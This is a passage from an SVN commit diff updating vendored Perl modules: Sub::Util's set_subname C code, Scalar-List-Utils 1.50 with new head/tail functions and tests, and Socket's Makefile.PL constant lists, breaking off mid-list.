+            if (quotes_seen++)
+                need_subst = TRUE;
+        }
     }
     s--;
     if (end) {
-        char *namepv = savepvn(name, end - name);
-        stash = GvHV(gv_fetchpv(namepv, TRUE, SVt_PVHV));
-        Safefree(namepv);
-        name = end;
+        SV* tmp;
+        if (need_subst) {
+            STRLEN length = end - nameptr + quotes_seen - (*end == '\'' ? 1 : 0);
+            char* left;
+            int i, j;
+            tmp = sv_2mortal(newSV(length));
+            left = SvPVX(tmp);
+            for (i = 0, j = 0; j < end - nameptr; ++i, ++j) {
+                if (nameptr[j] == '\'') {
+                    left[i] = ':';
+                    left[++i] = ':';
+                }
+                else {
+                    left[i] = nameptr[j];
+                }
+            }
+            stash = gv_stashpvn(left, length, GV_ADD | utf8flag);
+        }
+        else
+            stash = gv_stashpvn(nameptr, end - nameptr, GV_ADD | utf8flag);
+        nameptr = begin;
+        namelen -= begin - nameptr;
     }
 
     /* under debugger, provide information about sub location */
     if (PL_DBsub && CvGV(cv)) {
-        HV *hv = GvHV(PL_DBsub);
+        HV* DBsub = GvHV(PL_DBsub);
+        HE* old_data;
 
-        char *new_pkg = HvNAME(stash);
+        GV* oldgv = CvGV(cv);
+        HV* oldhv = GvSTASH(oldgv);
+        SV* old_full_name = sv_2mortal(newSVpvn_flags(HvNAME(oldhv), HvNAMELEN_get(oldhv), HvNAMEUTF8(oldhv) ? SVf_UTF8 : 0));
+        sv_catpvn(old_full_name, "::", 2);
+        sv_catpvn_flags(old_full_name, GvNAME(oldgv), GvNAMELEN(oldgv), GvNAMEUTF8(oldgv) ? SV_CATUTF8 : SV_CATBYTES);
 
-        char *old_name = GvNAME( CvGV(cv) );
-        char *old_pkg = HvNAME( GvSTASH(CvGV(cv)) );
+        old_data = hv_fetch_ent(DBsub, old_full_name, 0, 0);
 
-        int old_len = strlen(old_name) + strlen(old_pkg);
-        int new_len = strlen(name) + strlen(new_pkg);
-
-        SV **old_data;
-        char *full_name;
-
-        Newxz(full_name, (old_len > new_len ? old_len : new_len) + 3, char);
-
-        strcat(full_name, old_pkg);
-        strcat(full_name, "::");
-        strcat(full_name, old_name);
-
-        old_data = hv_fetch(hv, full_name, strlen(full_name), 0);
-
-        if (old_data) {
-            strcpy(full_name, new_pkg);
-            strcat(full_name, "::");
-            strcat(full_name, name);
-
-            SvREFCNT_inc(*old_data);
-            if (!hv_store(hv, full_name, strlen(full_name), *old_data, 0))
-                SvREFCNT_dec(*old_data);
+        if (old_data && HeVAL(old_data)) {
+            SV* new_full_name = sv_2mortal(newSVpvn_flags(HvNAME(stash), HvNAMELEN_get(stash), HvNAMEUTF8(stash) ? SVf_UTF8 : 0));
+            sv_catpvn(new_full_name, "::", 2);
+            sv_catpvn_flags(new_full_name, nameptr, s - nameptr, utf8flag ? SV_CATUTF8 : SV_CATBYTES);
+            SvREFCNT_inc(HeVAL(old_data));
+            if (hv_store_ent(DBsub, new_full_name, HeVAL(old_data), 0) != NULL)
+                SvREFCNT_inc(HeVAL(old_data));
         }
-        Safefree(full_name);
     }
 
     gv = (GV *) newSV(0);
-    gv_init(gv, stash, name, s - name, TRUE);
+    gv_init_pvn(gv, stash, nameptr, s - nameptr, GV_ADDMULTI | utf8flag);
 
     /*
      * set_subname needs to create a GV to store the name. The CvGV field of a

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/Makefile.PL
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
   NAME         => q[List::Util],
   ABSTRACT     => q[Common Scalar and List utility subroutines],
   AUTHOR       => q[Graham Barr <gbarr at cpan.org>],
-  DEFINE       => q[-DPERL_EXT],
+  DEFINE       => ($ENV{PERL_CORE} ? q[-DPERL_EXT] : q[-DPERL_EXT -DUSE_PPPORT_H]),
   DISTNAME     => q[Scalar-List-Utils],
   VERSION_FROM => 'lib/List/Util.pm',
 
@@ -54,4 +54,3 @@
     )
   ),
 );
-

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util/XS.pm
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util/XS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util/XS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use warnings;
 use List::Util;
 
-our $VERSION = "1.46_02";    # FIXUP
+our $VERSION = "1.50";       # FIXUP
 $VERSION = eval $VERSION;    # FIXUP
 
 1;

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util.pm
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,9 +13,9 @@
 our @ISA        = qw(Exporter);
 our @EXPORT_OK  = qw(
   all any first min max minstr maxstr none notall product reduce sum sum0 shuffle uniq uniqnum uniqstr
-  pairs unpairs pairkeys pairvalues pairmap pairgrep pairfirst
+  head tail pairs unpairs pairkeys pairvalues pairmap pairgrep pairfirst
 );
-our $VERSION    = "1.46_02";
+our $VERSION    = "1.50";
 our $XS_VERSION = $VERSION;
 $VERSION    = eval $VERSION;
 
@@ -116,7 +116,7 @@
 
 The above example code blocks also suggest how to use C<reduce> to build a
 more efficient combined version of one of these basic functions and a C<map>
-block. For example, to find the total length of the all the strings in a list,
+block. For example, to find the total length of all the strings in a list,
 we could use
 
     $total = sum map { length } @strings;
@@ -149,6 +149,9 @@
         # at least one string has more than 10 characters
     }
 
+Note: Due to XS issues the block passed may be able to access the outer @_
+directly. This is not intentional and will break under debugger.
+
 =head2 all
 
     my $bool = all { BLOCK } @list;
@@ -160,6 +163,9 @@
 false. If the C<BLOCK> never returns false or the C<@list> was empty then it
 returns true.
 
+Note: Due to XS issues the block passed may be able to access the outer @_
+directly. This is not intentional and will break under debugger.
+
 =head2 none
 
 =head2 notall
@@ -174,6 +180,9 @@
 returns true only if no value in the C<@list> causes the C<BLOCK> to return
 true, and C<notall> returns true only if not all of the values do.
 
+Note: Due to XS issues the block passed may be able to access the outer @_
+directly. This is not intentional and will break under debugger.
+
 =head2 first
 
     my $val = first { BLOCK } @list;
@@ -544,6 +553,32 @@
 
 =cut
 
+=head2 head
+
+    my @values = head $size, @list;
+
+Returns the first C<$size> elements from C<@list>. If C<$size> is negative, returns
+all but the last C<$size> elements from C<@list>.
+
+    @result = head 2, qw( foo bar baz );
+    # foo, bar
+
+    @result = head -2, qw( foo bar baz );
+    # foo
+
+=head2 tail
+
+    my @values = tail $size, @list;
+
+Returns the last C<$size> elements from C<@list>. If C<$size> is negative, returns
+all but the first C<$size> elements from C<@list>.
+
+    @result = tail 2, qw( foo bar baz );
+    # bar, baz
+
+    @result = tail -2, qw( foo bar baz );
+    # baz
+
 =head1 KNOWN BUGS
 
 =head2 RT #95409

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/lib/Scalar/Util.pm
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/lib/Scalar/Util.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/lib/Scalar/Util.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
   dualvar isdual isvstring looks_like_number openhandle readonly set_prototype
   tainted
 );
-our $VERSION    = "1.46_02";
+our $VERSION    = "1.50";
 $VERSION   = eval $VERSION;
 
 require List::Util; # List::Util loads the XS

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/lib/Sub/Util.pm
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/lib/Sub/Util.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/lib/Sub/Util.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
   subname set_subname
 );
 
-our $VERSION    = "1.46_02";
+our $VERSION    = "1.50";
 $VERSION   = eval $VERSION;
 
 require List::Util; # as it has the XS
@@ -102,7 +102,7 @@
 remaining functions that C<Sub::Identify> implements can easily be emulated
 using regexp operations, such as
 
- sub get_code_info { return (subname $_[0]) =~ m/^(.+)::(.+?)$/ }
+ sub get_code_info { return (subname $_[0]) =~ m/^(.+)::(.*?)$/ }
  sub sub_name      { return (get_code_info $_[0])[0] }
  sub stash_name    { return (get_code_info $_[0])[1] }
 

Added: vendor/perl/dist/cpan/Scalar-List-Utils/t/exotic_names.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/exotic_names.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/exotic_names.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,122 @@
+use strict;
+use warnings;
+
+use Test::More;
+use B 'svref_2object';
+BEGIN { $^P |= 0x210 }
+
+# This is a mess. The stash can supposedly handle Unicode but the behavior
+# is literally undefined before 5.16 (with crashes beyond the basic plane),
+# and remains unclear past 5.16 with evalbytes and feature unicode_eval
+# In any case - Sub::Name needs to *somehow* work with this, so we will do
+# a heuristic with ambiguous eval and looking for octets in the stash
+use if $] >= 5.016, feature => 'unicode_eval';
+
+if ($] >= 5.008) {
+	my $builder = Test::More->builder;
+	binmode $builder->output,         ":encoding(utf8)";
+	binmode $builder->failure_output, ":encoding(utf8)";
+	binmode $builder->todo_output,    ":encoding(utf8)";
+}
+
+sub compile_named_sub {
+    my ( $fullname, $body ) = @_;
+    my $sub = eval "sub $fullname { $body }" . '\\&{$fullname}';
+    return $sub if $sub;
+    my $e = $@;
+    require Carp;
+    Carp::croak $e;
+}
+
+sub caller3_ok {
+    my ( $sub, $expected, $type, $ord ) = @_;
+
+    local $Test::Builder::Level = $Test::Builder::Level + 1;
+
+    my $for_what = sprintf "when it contains \\x%s ( %s )", (
+        ( ($ord > 255)
+            ? sprintf "{%X}", $ord
+            : sprintf "%02X", $ord
+        ),
+        (
+            $ord > 255                    ? unpack('H*', pack 'C0U', $ord )
+            : ($ord > 0x1f and $ord < 0x7f) ? sprintf "%c", $ord
+            :                                 sprintf '\%o', $ord
+        ),
+    );
+
+    $expected =~ s/'/::/g;
+
+    # this is apparently how things worked before 5.16
+    utf8::encode($expected) if $] < 5.016 and $ord > 255;
+
+    my $stash_name = join '::', map { $_->STASH->NAME, $_->NAME } svref_2object($sub)->GV;
+
+    is $stash_name, $expected, "stash name for $type is correct $for_what";
+    is $sub->(), $expected, "caller() in $type returns correct name $for_what";
+    SKIP: {
+      skip '%DB::sub not populated when enabled at runtime', 1
+        unless keys %DB::sub;
+      my ($prefix) = $expected =~ /^(.*?test::[^:]+::)/;
+      my ($db_found) = grep /^$prefix/, keys %DB::sub;
+      is $db_found, $expected, "%DB::sub entry for $type is correct $for_what";
+    }
+}
+
+#######################################################################
+
+use Sub::Util 'set_subname';
+
+my @ordinal = ( 1 .. 255 );
+
+# 5.14 is the first perl to start properly handling \0 in identifiers
+unshift @ordinal, 0
+    unless $] < 5.014;
+
+# Unicode in 5.6 is not sane (crashes etc)
+push @ordinal,
+    0x100,    # LATIN CAPITAL LETTER A WITH MACRON
+    0x498,    # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER
+    0x2122,   # TRADE MARK SIGN
+    0x1f4a9,  # PILE OF POO
+    unless $] < 5.008;
+
+plan tests => @ordinal * 2 * 3;
+
+my $legal_ident_char = "A-Z_a-z0-9'";
+$legal_ident_char .= join '', map chr, 0x100, 0x498
+    unless $] < 5.008;
+
+my $uniq = 'A000';
+for my $ord (@ordinal) {
+    my $sub;
+    $uniq++;
+    my $pkg      = sprintf 'test::%s::SOME_%c_STASH', $uniq, $ord;
+    my $subname  = sprintf 'SOME_%s_%c_NAME', $uniq, $ord;
+    my $fullname = join '::', $pkg, $subname;
+
+    $sub = set_subname $fullname => sub { (caller(0))[3] };
+    caller3_ok $sub, $fullname, 'renamed closure', $ord;
+
+    # test that we can *always* compile at least within the correct package
+    my $expected;
+    if ( chr($ord) =~ m/^[$legal_ident_char]$/o ) { # compile directly
+        $expected = "native::$fullname";
+        $sub = compile_named_sub $expected => '(caller(0))[3]';
+    }
+    else { # not a legal identifier but at least test the package name by aliasing
+        $expected = "aliased::native::$fullname";
+        {
+          no strict 'refs';
+          *palatable:: = *{"aliased::native::${pkg}::"};
+          # now palatable:: literally means aliased::native::${pkg}::
+          my $encoded_sub = $subname;
+          utf8::encode($encoded_sub) if "$]" < 5.016 and $ord > 255;
+          ${"palatable::$encoded_sub"} = 1;
+          ${"palatable::"}{"sub"} = ${"palatable::"}{$encoded_sub};
+          # and palatable::sub means aliased::native::${pkg}::${subname}
+        }
+        $sub = compile_named_sub 'palatable::sub' => '(caller(0))[3]';
+    }
+    caller3_ok $sub, $expected, 'natively compiled sub', $ord;
+}

Added: vendor/perl/dist/cpan/Scalar-List-Utils/t/head-tail.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/head-tail.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/head-tail.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,97 @@
+#!./perl
+
+use strict;
+use warnings;
+
+use List::Util qw(head tail);
+use Test::More;
+plan tests => 42;
+
+my @ary;
+
+ok(defined &head, 'defined');
+ok(defined &tail, 'defined');
+
+ at ary = head 1, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 4 );
+
+ at ary = head 2, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+
+ at ary = head -1, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+
+ at ary = head -2, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 4 );
+
+ at ary = head 999, ( 4, 5, 6 );
+is( scalar @ary, 3 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+is( $ary[2], 6 );
+
+ at ary = head 0, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+ at ary = head 0;
+is( scalar @ary, 0 );
+
+ at ary = head 5;
+is( scalar @ary, 0 );
+
+ at ary = head -3, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+ at ary = head -999, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+eval '@ary = head';
+like( $@, qr{^Not enough arguments for List::Util::head} );
+
+ at ary = head 4, ( 4, 5, 6 );
+is( scalar @ary, 3 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+is( $ary[2], 6 );
+
+ at ary = tail 1, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 6 );
+
+ at ary = tail 2, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 5 );
+is( $ary[1], 6 );
+
+ at ary = tail -1, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 5 );
+is( $ary[1], 6 );
+
+ at ary = tail -2, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 6 );
+
+ at ary = tail 0, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+ at ary = tail 0;
+is( scalar @ary, 0 );
+
+ at ary = tail 5;
+is( scalar @ary, 0 );
+
+ at ary = tail -3;
+is( scalar @ary, 0 );
+
+ at ary = tail -999;
+is( scalar @ary, 0 );
+
+eval '@ary = tail';
+like( $@, qr{^Not enough arguments for List::Util::tail} );

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/t/lln.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/lln.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/lln.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,13 +10,9 @@
   ok(looks_like_number($num), "'$num'");
 }
 
-SKIP: {
-    my $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
-    skip("VAX does not have inf/nan", 3) if $vax_float;
-    is(!!looks_like_number("Inf"),	    $] >= 5.006001,	'Inf');
-    is(!!looks_like_number("Infinity"), $] >= 5.008,	'Infinity');
-    is(!!looks_like_number("NaN"),	    $] >= 5.008,	'NaN');
-}
+is(!!looks_like_number("Inf"),	    $] >= 5.006001,	'Inf');
+is(!!looks_like_number("Infinity"), $] >= 5.008,	'Infinity');
+is(!!looks_like_number("NaN"),	    $] >= 5.008,	'NaN');
 is(!!looks_like_number("foo"),	    '',			'foo');
 is(!!looks_like_number(undef),	    '',           	'undef');
 is(!!looks_like_number({}),	    '',			'HASH Ref');

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/t/pair.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/pair.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/pair.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 26;
+use Test::More tests => 27;
 use List::Util qw(pairgrep pairfirst pairmap pairs unpairs pairkeys pairvalues);
 
 no warnings 'misc'; # avoid "Odd number of elements" warnings most of the time
@@ -82,6 +82,16 @@
            [ "one=1", "two=2", "three=3" ],
            'pairmap copes with stack movement' );
 
+{
+    # do the pairmap and is_deeply as two separate statements to avoid
+    # the stack being extended before pairmap is called
+    my @a = pairmap { $a .. $b }
+                        1 => 3, 4 => 4, 5 => 6, 7 => 1998, 1999 => 2000;
+    my @exp; push @exp, $_ for 1..2000;
+    is_deeply( \@a, \@exp,
+           'pairmap result has more elements than input' );
+}
+
 is_deeply( [ pairs one => 1, two => 2, three => 3 ],
            [ [ one => 1 ], [ two => 2 ], [ three => 3 ] ],
            'pairs' );

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/t/product.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/product.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/product.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -112,8 +112,9 @@
   is($t, (1<<31) - (1<<62), 'min * max');
   $t = product($max, $min);
   is($t, (1<<31) - (1<<62), 'max * min');
+
   $t = product($max, $max);
-  is($t,  (1<<62)-(1<<32)+1, 'max * max');
+  is($t,  4611686014132420609, 'max * max'); # (1<<62)-(1<<32)+1), but Perl 5.6 does not compute constant correctly
 
   $t = product($min*8, $min);
   cmp_ok($t, '>',  (1<<61), 'min*8*min'); # may be an NV

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/t/rt-96343.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/rt-96343.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/rt-96343.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More;
+use Test::More tests => 2;
 
 {
   use List::Util qw( first );
@@ -31,5 +31,3 @@
   is( $var, 'HellO WorlD',
     'any (lc$_) leaves value undisturbed' );
 }
-
-done_testing;

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/t/sum.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/sum.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/sum.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 17;
+use Test::More tests => 18;
 
 use Config;
 use List::Util qw(sum);
@@ -91,14 +91,20 @@
 }
 
 SKIP: {
-  skip "IV is not at least 64bit", 3 unless $Config{ivsize} >= 8;
+  skip "IV is not at least 64bit", 4 unless $Config{ivsize} >= 8;
 
   # Sum using NV will only preserve 53 bits of integer precision
-  my $t = sum(1<<60, 1);
-  cmp_ok($t, '>', 1<<60, 'sum uses IV where it can');
+  my $t = sum(1152921504606846976, 1); # 1<<60, but Perl 5.6 does not compute constant correctly
+  cmp_ok($t, 'gt', 1152921504606846976, 'sum uses IV where it can'); # string comparison because Perl 5.6 does not compare it numerically correctly
 
+  SKIP: {
+    skip "known to fail on $]", 1 if $] le "5.006002";
+    $t = sum(1<<60, 1);
+    cmp_ok($t, '>', 1<<60, 'sum uses IV where it can');
+  }
+
   my $min = -(1<<63);
-  my $max = (1<<63)-1;
+  my $max = 9223372036854775807; # (1<<63)-1, but Perl 5.6 does not compute constant correctly
 
   $t = sum($min, $max);
   is($t, -1, 'min + max');

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/t/uniq.t
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/t/uniq.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/t/uniq.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -43,7 +43,8 @@
                'uniqstr on undef coerces to empty-string' );
 }
 
-{
+SKIP: {
+    skip 'Perl 5.007003 with utf8::encode is required', 3 if $] lt "5.007003";
     my $warnings = "";
     local $SIG{__WARN__} = sub { $warnings .= join "", @_ };
 
@@ -53,11 +54,15 @@
                [ $cafe ],
                'uniqstr is happy with Unicode strings' );
 
-    utf8::encode( my $cafebytes = $cafe );
+    SKIP: {
+      skip "utf8::encode not available", 1
+        unless defined &utf8::encode;
+      utf8::encode( my $cafebytes = $cafe );
 
-    is_deeply( [ uniqstr $cafe, $cafebytes ],
-               [ $cafe, $cafebytes ],
-               'uniqstr does not squash bytewise-equal but differently-encoded strings' );
+      is_deeply( [ uniqstr $cafe, $cafebytes ],
+                [ $cafe, $cafebytes ],
+                'uniqstr does not squash bytewise-equal but differently-encoded strings' );
+    }
 
     is( $warnings, "", 'No warnings are printed when handling Unicode strings' );
 }
@@ -70,12 +75,8 @@
            [ 1, 1.1, 1.2, 1.3 ],
            'uniqnum distinguishes floats' );
 
-SKIP: {
-my $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
-skip("VAX does not have inf/nan", 1) if $vax_float;
-
 # Hard to know for sure what an Inf is going to be. Lets make one
-my $Inf = 0 + eval '1E1000';
+my $Inf = 0 + 1E1000;
 my $NaN;
 $Inf **= 1000 while ( $NaN = $Inf - $Inf ) == $NaN;
 
@@ -82,13 +83,16 @@
 is_deeply( [ uniqnum 0, 1, 12345, $Inf, -$Inf, $NaN, 0, $Inf, $NaN ],
            [ 0, 1, 12345, $Inf, -$Inf, $NaN ],
            'uniqnum preserves the special values of +-Inf and Nan' );
-}
 
 {
-    my $maxint = ~0;
+    my $maxuint = ~0;
+    my $maxint = ~0 >> 1;
+    my $minint = -(~0 >> 1) - 1;
 
-    is_deeply( [ uniqnum $maxint, $maxint-1, -1 ],
-               [ $maxint, $maxint-1, -1 ],
+    my @nums = ($maxuint, $maxuint-1, -1, $Inf, $NaN, $maxint, $minint, 1 );
+
+    is_deeply( [ uniqnum @nums, 1.0 ],
+               [ @nums ],
                'uniqnum preserves uniqness of full integer range' );
 }
 
@@ -139,8 +143,8 @@
 
     my @strs = map { Stringify->new( $_ ) } qw( foo foo bar );
 
-    is_deeply( [ uniqstr @strs ],
-               [ $strs[0], $strs[2] ],
+    is_deeply( [ map "$_", uniqstr @strs ],
+               [ map "$_", $strs[0], $strs[2] ],
                'uniqstr respects stringify overload' );
 }
 

Modified: vendor/perl/dist/cpan/Socket/Makefile.PL
===================================================================
--- vendor/perl/dist/cpan/Socket/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Socket/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 {
     my %args = @_;
     return if $ENV{PERL_CORE};
-    return if defined $Config{$args{confkey}};
+    return if defined $args{confkey} and defined $Config{$args{confkey}};
 
     require ExtUtils::CBuilder;
     $cb ||= ExtUtils::CBuilder->new( quiet => 1 );
@@ -77,12 +77,13 @@
 }
 
 my %defines = (
-    # -Dfoo               func()        $Config{key}
-    HAS_GETADDRINFO => [ "getaddrinfo", "d_getaddrinfo" ],
-    HAS_GETNAMEINFO => [ "getnameinfo", "d_getnameinfo" ],
-    HAS_INET_ATON   => [ "inet_aton",   "d_inetaton" ],
-    HAS_INETNTOP    => [ "inet_ntop",   "d_inetntop" ],
-    HAS_INETPTON    => [ "inet_pton",   "d_inetpton" ],
+    # -Dfoo                func()         $Config{key}
+    HAS_GETADDRINFO  => [ "getaddrinfo",  "d_getaddrinfo" ],
+    HAS_GETNAMEINFO  => [ "getnameinfo",  "d_getnameinfo" ],
+    HAS_GAI_STRERROR => [ "gai_strerror", "d_gai_strerror" ],
+    HAS_INET_ATON    => [ "inet_aton",    "d_inetaton" ],
+    HAS_INETNTOP     => [ "inet_ntop",    "d_inetntop" ],
+    HAS_INETPTON     => [ "inet_pton",    "d_inetpton" ],
 );
 
 foreach my $define ( sort keys %defines ) {
@@ -177,20 +178,25 @@
 
 	IOV_MAX
 
-	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_DROP_MEMBERSHIP
-	IP_DROP_SOURCE_MEMBERSHIP IP_HDRINCL IP_MULTICAST_IF IP_MULTICAST_LOOP
-	IP_MULTICAST_TTL IP_OPTIONS IP_RECVOPTS IP_RECVRETOPTS IP_RETOPTS IP_TOS
-	IP_TTL
+	IP_ADD_MEMBERSHIP IP_ADD_SOURCE_MEMBERSHIP IP_BIND_ADDRESS_NO_PORT
+	IP_DROP_MEMBERSHIP IP_DROP_SOURCE_MEMBERSHIP IP_FREEBIND IP_HDRINCL
+	IP_MULTICAST_ALL IP_MULTICAST_IF IP_MULTICAST_LOOP IP_MULTICAST_TTL
+	IP_MTU IP_MTU_DISCOVER IP_NODEFRAG IP_OPTIONS IP_RECVERR IP_RECVOPTS
+	IP_RECVRETOPTS IP_RETOPTS IP_TOS IP_TRANSPARENT IP_TTL
 
+	IP_PMTUDISC_DO IP_PMTUDISC_DONT IP_PMTUDISC_PROBE IP_PMTUDISC_WANT
+
 	IPTOS_LOWDELAY IPTOS_THROUGHPUT IPTOS_RELIABILITY IPTOS_MINCOST
 
-	IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
+	IPV6_ADDRFROM IPV6_ADD_MEMBERSHIP IPV6_DROP_MEMBERSHIP IPV6_JOIN_GROUP
 	IPV6_LEAVE_GROUP IPV6_MTU IPV6_MTU_DISCOVER IPV6_MULTICAST_HOPS
-	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_UNICAST_HOPS IPV6_V6ONLY
+	IPV6_MULTICAST_IF IPV6_MULTICAST_LOOP IPV6_RECVERR IPV6_ROUTER_ALERT
+	IPV6_UNICAST_HOPS IPV6_V6ONLY
 
 	MSG_BCAST MSG_BTAG MSG_CTLFLAGS MSG_CTLIGNORE MSG_DONTWAIT MSG_EOF
-	MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FIN MSG_MAXIOVLEN MSG_MCAST
-	MSG_NOSIGNAL MSG_RST MSG_SYN MSG_TRUNC MSG_URG MSG_WAITALL MSG_WIRE
+	MSG_EOR MSG_ERRQUEUE MSG_ETAG MSG_FASTOPEN MSG_FIN MSG_MAXIOVLEN
+	MSG_MCAST MSG_NOSIGNAL MSG_RST MSG_SYN MSG_TRUNC MSG_URG MSG_WAITALL
+	MSG_WIRE
 
 	NI_DGRAM NI_IDN NI_IDN_ALLOW_UNASSIGNED NI_IDN_USE_STD3_ASCII_RULES
 	NI_NAMEREQD NI_NOFQDN NI_NUMERICHOST NI_NUMERICSERV
@@ -213,32 +219,35 @@
 	SO_ACCEPTCONN SO_ATTACH_FILTER SO_BACKLOG SO_BINDTODEVICE SO_BROADCAST
 	SO_BSDCOMPAT SO_BUSY_POLL SO_CHAMELEON SO_DEBUG SO_DETACH_FILTER
 	SO_DGRAM_ERRIND SO_DOMAIN SO_DONTLINGER SO_DONTROUTE SO_ERROR SO_FAMILY
-	SO_KEEPALIVE SO_LINGER SO_MARK SO_OOBINLINE SO_PASSCRED SO_PASSIFNAME
-	SO_PEEK_OFF SO_PEERCRED SO_PRIORITY SO_PROTOCOL SO_PROTOTYPE SO_RCVBUF
-	SO_RCVLOWAT SO_RCVTIMEO SO_REUSEADDR SO_REUSEPORT
-	SO_SECURITY_AUTHENTICATION SO_SECURITY_ENCRYPTION_NETWORK
-	SO_SECURITY_ENCRYPTION_TRANSPORT SO_SNDBUF SO_SNDLOWAT SO_SNDTIMEO
-	SO_STATE SO_TIMESTAMP SO_TYPE SO_USELOOPBACK SO_XOPEN SO_XSE
+	SO_KEEPALIVE SO_LINGER SO_LOCK_FILTER SO_MARK SO_OOBINLINE SO_PASSCRED
+	SO_PASSIFNAME SO_PEEK_OFF SO_PEERCRED SO_PRIORITY SO_PROTOCOL
+	SO_PROTOTYPE SO_RCVBUF SO_RCVBUFFORCE SO_RCVLOWAT SO_RCVTIMEO
+	SO_REUSEADDR SO_REUSEPORT SO_RXQ_OVFL SO_SECURITY_AUTHENTICATION
+	SO_SECURITY_ENCRYPTION_NETWORK SO_SECURITY_ENCRYPTION_TRANSPORT
+	SO_SNDBUF SO_SNDBUFFORCE SO_SNDLOWAT SO_SNDTIMEO SO_STATE SO_TIMESTAMP
+	SO_TYPE SO_USELOOPBACK SO_XOPEN SO_XSE
 
-	TCP_CONGESTION TCP_CONNECTIONTIMEOUT TCP_CORK TCP_DEFER_ACCEPT TCP_INFO
